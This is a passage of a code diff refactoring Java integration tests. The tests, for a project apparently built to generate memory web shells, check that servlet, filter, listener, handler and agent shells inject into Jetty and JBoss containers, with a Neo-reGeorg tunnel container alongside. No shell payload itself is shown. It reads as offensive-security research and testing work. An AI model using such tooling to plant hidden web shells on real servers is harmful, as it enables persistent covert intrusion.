.withDockerfile(neoGeorgDockerfile))
.withNetwork(network);
@Container @Container
public static final GenericContainer<?> container = new GenericContainer<>(imageName) public static final GenericContainer<?> container = buildContainer(CONFIG, network);
.withCopyToContainer(warJakartaFile, "/usr/local/jboss/standalone/deployments/app.war")
.withCopyToContainer(jattachFile, "/jattach")
.withCopyToContainer(jbossPid, "/fetch_pid.sh")
.withNetwork(network)
.withNetworkAliases("app")
.waitingFor(Wait.forHttp("/app"))
.withExposedPorts(8080);
static Stream<Arguments> casesProvider() { @Override
String server = Server.Undertow; protected ContainerTestConfig getConfig() {
List<String> supportedShellTypes = List.of( return CONFIG;
ShellType.JAKARTA_SERVLET,
ShellType.JAKARTA_FILTER,
ShellType.JAKARTA_LISTENER,
ShellType.UNDERTOW_AGENT_SERVLET_HANDLER
);
List<Packers> testPackers = List.of(Packers.JSP);
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers,
null, List.of(ShellTool.AntSword) // AntSword not support jakarta
);
}
@AfterAll
static void tearDown() {
String logs = container.getLogs();
log.info(logs);
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
}
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider")
void test(String imageName, String shellType, String shellTool, Packers packer) {
shellInjectIsOk(getUrl(container), Server.Undertow, shellType, shellTool, Opcodes.V17, packer, container, python);
}
@ParameterizedTest
@ValueSource(strings = {ShellType.JAKARTA_SERVLET,
ShellType.JAKARTA_FILTER,
ShellType.JAKARTA_LISTENER,})
void testProbeInject(String shellType) {
String url = getUrl(container);
ShellAssertion.testProbeInject(url, Server.Undertow, shellType, Opcodes.V17);
} }
} }
@@ -1,90 +1,55 @@
package com.reajason.javaweb.integration.memshell.jetty; package com.reajason.javaweb.integration.memshell.jetty;
import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.AbstractContainerTest;
import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.integration.ContainerTestConfig;
import com.reajason.javaweb.integration.TestCasesProvider;
import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers; import com.reajason.javaweb.packer.Packers;
import lombok.extern.slf4j.Slf4j;
import net.bytebuddy.jar.asm.Opcodes; import net.bytebuddy.jar.asm.Opcodes;
import org.junit.jupiter.api.AfterAll;
import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.Arguments;
import org.junit.jupiter.params.provider.MethodSource;
import org.junit.jupiter.params.provider.ValueSource;
import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network; import org.testcontainers.containers.Network;
import org.testcontainers.containers.wait.strategy.Wait;
import org.testcontainers.images.builder.ImageFromDockerfile;
import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers; import org.testcontainers.junit.jupiter.Testcontainers;
import java.util.List; import java.util.List;
import java.util.stream.Stream;
import static com.reajason.javaweb.integration.ContainerTool.*;
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
import static org.hamcrest.MatcherAssert.assertThat;
/** /**
* @author ReaJason * @author ReaJason
* @since 2024/12/7 * @since 2024/12/7
*/ */
@Slf4j
@Testcontainers @Testcontainers
public class Jetty10ContainerTest { public class Jetty10ContainerTest extends AbstractContainerTest {
public static final String imageName = "jetty:10-jre11";
static Network network = Network.newNetwork(); private static final ContainerTestConfig CONFIG = ContainerTestConfig
.jetty("jetty:10-jre11")
.serverVersion("7+")
.targetJdkVersion(Opcodes.V11)
.supportedShellTypes(List.of(
ShellType.SERVLET,
ShellType.FILTER,
ShellType.LISTENER,
ShellType.HANDLER,
ShellType.CUSTOMIZER,
ShellType.JETTY_AGENT_HANDLER
))
.testPackers(List.of(Packers.JSP))
.probeShellTypes(List.of(
ShellType.SERVLET,
ShellType.FILTER,
ShellType.LISTENER,
ShellType.HANDLER,
ShellType.CUSTOMIZER
))
.build();
static Network network = newNetwork();
@Container @Container
public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile() public static final GenericContainer<?> python = buildPythonContainer(network);
.withDockerfile(neoGeorgDockerfile))
.withNetwork(network);
@Container @Container
public final static GenericContainer<?> container = new GenericContainer<>(imageName) public static final GenericContainer<?> container = buildContainer(CONFIG, network);
.withCopyToContainer(warFile, "/var/lib/jetty/webapps/app.war")
.withCopyToContainer(jattachFile, "/jattach")
.withCopyToContainer(jettyPid, "/fetch_pid.sh")
.withNetwork(network)
.withNetworkAliases("app")
.waitingFor(Wait.forHttp("/app"))
.withExposedPorts(8080);
static Stream<Arguments> casesProvider() { @Override
String server = Server.Jetty; protected ContainerTestConfig getConfig() {
List<String> supportedShellTypes = List.of( return CONFIG;
ShellType.SERVLET,
ShellType.FILTER,
ShellType.LISTENER,
ShellType.HANDLER,
ShellType.CUSTOMIZER,
ShellType.JETTY_AGENT_HANDLER
);
List<Packers> testPackers = List.of(Packers.JSP);
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
}
@AfterAll
static void tearDown() {
String logs = container.getLogs();
log.info(logs);
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
}
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider")
void test(String imageName, String shellType, String shellTool, Packers packer) {
shellInjectIsOk(getUrl(container), Server.Jetty, "7+", shellType, shellTool, Opcodes.V11, packer, container, python);
}
@ParameterizedTest
@ValueSource(strings = {ShellType.SERVLET,
ShellType.FILTER,
ShellType.LISTENER,
ShellType.HANDLER,
ShellType.CUSTOMIZER,})
void testProbeInject(String shellType) {
String url = getUrl(container);
ShellAssertion.testProbeInject(url, Server.Jetty, "7+", shellType, Opcodes.V11);
} }
} }
@@ -1,92 +1,60 @@
package com.reajason.javaweb.integration.memshell.jetty; package com.reajason.javaweb.integration.memshell.jetty;
import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.AbstractContainerTest;
import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.integration.ContainerTestConfig;
import com.reajason.javaweb.integration.TestCasesProvider;
import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers; import com.reajason.javaweb.packer.Packers;
import lombok.extern.slf4j.Slf4j;
import net.bytebuddy.jar.asm.Opcodes; import net.bytebuddy.jar.asm.Opcodes;
import org.junit.jupiter.api.AfterAll;
import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.Arguments;
import org.junit.jupiter.params.provider.MethodSource;
import org.junit.jupiter.params.provider.ValueSource;
import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network; import org.testcontainers.containers.Network;
import org.testcontainers.containers.wait.strategy.Wait;
import org.testcontainers.images.builder.ImageFromDockerfile;
import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers; import org.testcontainers.junit.jupiter.Testcontainers;
import java.util.List; import java.util.List;
import java.util.stream.Stream;
import static com.reajason.javaweb.integration.ContainerTool.*; import static com.reajason.javaweb.integration.ContainerTool.warJakartaFile;
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
import static org.hamcrest.MatcherAssert.assertThat;
/** /**
* @author ReaJason * @author ReaJason
* @since 2024/12/7 * @since 2024/12/7
*/ */
@Slf4j
@Testcontainers @Testcontainers
public class Jetty11ContainerTest { public class Jetty11ContainerTest extends AbstractContainerTest {
public static final String imageName = "jetty:11.0-jre17"; private static final ContainerTestConfig CONFIG = ContainerTestConfig
static Network network = Network.newNetwork(); .jetty("jetty:11.0-jre17")
.warFile(warJakartaFile)
.serverVersion("7+")
.jakarta(true)
.targetJdkVersion(Opcodes.V17)
.supportedShellTypes(List.of(
ShellType.JAKARTA_SERVLET,
ShellType.JAKARTA_FILTER,
ShellType.JAKARTA_LISTENER,
ShellType.JAKARTA_HANDLER,
ShellType.CUSTOMIZER,
ShellType.JETTY_AGENT_HANDLER
))
.testPackers(List.of(Packers.JSP))
.unSupportedShellTools(List.of(ShellTool.AntSword))
.probeShellTypes(List.of(
ShellType.JAKARTA_SERVLET,
ShellType.JAKARTA_FILTER,
ShellType.JAKARTA_LISTENER,
ShellType.JAKARTA_HANDLER,
ShellType.CUSTOMIZER
))
.build();
static Network network = newNetwork();
@Container @Container
public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile() public static final GenericContainer<?> python = buildPythonContainer(network);
.withDockerfile(neoGeorgDockerfile))
.withNetwork(network);
@Container @Container
public final static GenericContainer<?> container = new GenericContainer<>(imageName) public static final GenericContainer<?> container = buildContainer(CONFIG, network);
.withCopyToContainer(warJakartaFile, "/var/lib/jetty/webapps/app.war")
.withCopyToContainer(jattachFile, "/jattach")
.withCopyToContainer(jettyPid, "/fetch_pid.sh")
.withNetwork(network)
.withNetworkAliases("app")
.waitingFor(Wait.forHttp("/app"))
.withExposedPorts(8080);
static Stream<Arguments> casesProvider() { @Override
String server = Server.Jetty; protected ContainerTestConfig getConfig() {
List<String> supportedShellTypes = List.of( return CONFIG;
ShellType.JAKARTA_SERVLET,
ShellType.JAKARTA_FILTER,
ShellType.JAKARTA_LISTENER,
ShellType.JAKARTA_HANDLER,
ShellType.CUSTOMIZER,
ShellType.JETTY_AGENT_HANDLER
);
List<Packers> testPackers = List.of(Packers.JSP);
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers,
null, List.of(ShellTool.AntSword)
);
}
@AfterAll
static void tearDown() {
String logs = container.getLogs();
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
}
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider")
void test(String imageName, String shellType, String shellTool, Packers packer) {
shellInjectIsOk(getUrl(container), Server.Jetty, "7+", shellType, shellTool, Opcodes.V17, packer, container, python);
}
@ParameterizedTest
@ValueSource(strings = {ShellType.JAKARTA_SERVLET,
ShellType.JAKARTA_FILTER,
ShellType.JAKARTA_LISTENER,
ShellType.JAKARTA_HANDLER,
ShellType.CUSTOMIZER,})
void testProbeInject(String shellType) {
String url = getUrl(container);
ShellAssertion.testProbeInject(url, Server.Jetty, "7+", shellType, Opcodes.V17);
} }
} }
@@ -1,90 +1,59 @@
package com.reajason.javaweb.integration.memshell.jetty; package com.reajason.javaweb.integration.memshell.jetty;
import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.AbstractContainerTest;
import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.integration.ContainerTestConfig;
import com.reajason.javaweb.integration.TestCasesProvider;
import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers; import com.reajason.javaweb.packer.Packers;
import lombok.extern.slf4j.Slf4j;
import net.bytebuddy.jar.asm.Opcodes; import net.bytebuddy.jar.asm.Opcodes;
import org.junit.jupiter.api.AfterAll;
import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.Arguments;
import org.junit.jupiter.params.provider.MethodSource;
import org.junit.jupiter.params.provider.ValueSource;
import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network; import org.testcontainers.containers.Network;
import org.testcontainers.containers.wait.strategy.Wait;
import org.testcontainers.images.builder.ImageFromDockerfile;
import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers; import org.testcontainers.junit.jupiter.Testcontainers;
import java.util.List; import java.util.List;
import java.util.stream.Stream;
import static com.reajason.javaweb.integration.ContainerTool.*; import static com.reajason.javaweb.integration.ContainerTool.warJakartaFile;
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
import static org.hamcrest.MatcherAssert.assertThat;
/** /**
* @author ReaJason * @author ReaJason
* @since 2024/12/7 * @since 2024/12/7
*/ */
@Slf4j
@Testcontainers @Testcontainers
public class Jetty12ee10ContainerTest { public class Jetty12ee10ContainerTest extends AbstractContainerTest {
public static final String imageName = "reajason/jetty:12.0-jre21-ee10"; private static final ContainerTestConfig CONFIG = ContainerTestConfig
static Network network = Network.newNetwork(); .jetty("reajason/jetty:12.0-jre21-ee10")
.warFile(warJakartaFile)
.jakarta(true)
.serverVersion("12")
.targetJdkVersion(Opcodes.V21)
.probeTargetJdkVersion(Opcodes.V17)
.supportedShellTypes(List.of(
ShellType.JAKARTA_SERVLET,
ShellType.JAKARTA_FILTER,
ShellType.JAKARTA_LISTENER,
ShellType.JAKARTA_HANDLER,
ShellType.JETTY_AGENT_HANDLER
))
.testPackers(List.of(Packers.Base64))
.unSupportedShellTools(List.of(ShellTool.AntSword))
.probeShellTypes(List.of(
ShellType.JAKARTA_SERVLET,
ShellType.JAKARTA_FILTER,
ShellType.JAKARTA_LISTENER,
ShellType.JAKARTA_HANDLER
))
.build();
static Network network = newNetwork();
@Container @Container
public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile() public static final GenericContainer<?> python = buildPythonContainer(network);
.withDockerfile(neoGeorgDockerfile))
.withNetwork(network);
@Container @Container
public final static GenericContainer<?> container = new GenericContainer<>(imageName) public static final GenericContainer<?> container = buildContainer(CONFIG, network);
.withCopyToContainer(warJakartaFile, "/var/lib/jetty/webapps/app.war")
.withCopyToContainer(jattachFile, "/jattach")
.withCopyToContainer(jettyPid, "/fetch_pid.sh")
.withNetwork(network)
.withNetworkAliases("app")
.waitingFor(Wait.forHttp("/app"))
.withExposedPorts(8080);
static Stream<Arguments> casesProvider() { @Override
String server = Server.Jetty; protected ContainerTestConfig getConfig() {
List<String> supportedShellTypes = List.of( return CONFIG;
ShellType.JAKARTA_SERVLET,
ShellType.JAKARTA_FILTER,
ShellType.JAKARTA_LISTENER,
ShellType.JAKARTA_HANDLER,
ShellType.JETTY_AGENT_HANDLER
);
List<Packers> testPackers = List.of(Packers.Base64);
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers,
null, List.of(ShellTool.AntSword) // AntSword not supported Jakarta
);
}
@AfterAll
static void tearDown() {
String logs = container.getLogs();
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
}
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider")
void test(String imageName, String shellType, String shellTool, Packers packer) {
shellInjectIsOk(getUrl(container), Server.Jetty, "12", shellType, shellTool, Opcodes.V21, packer, container, python);
}
@ParameterizedTest
@ValueSource(strings = {ShellType.JAKARTA_SERVLET,
ShellType.JAKARTA_FILTER,
ShellType.JAKARTA_LISTENER,
ShellType.JAKARTA_HANDLER})
void testProbeInject(String shellType) {
String url = getUrl(container);
ShellAssertion.testProbeInject(url, Server.Jetty, "12", shellType, Opcodes.V17);
} }
} }

Some files were not shown because too many files have changed in this diff Show More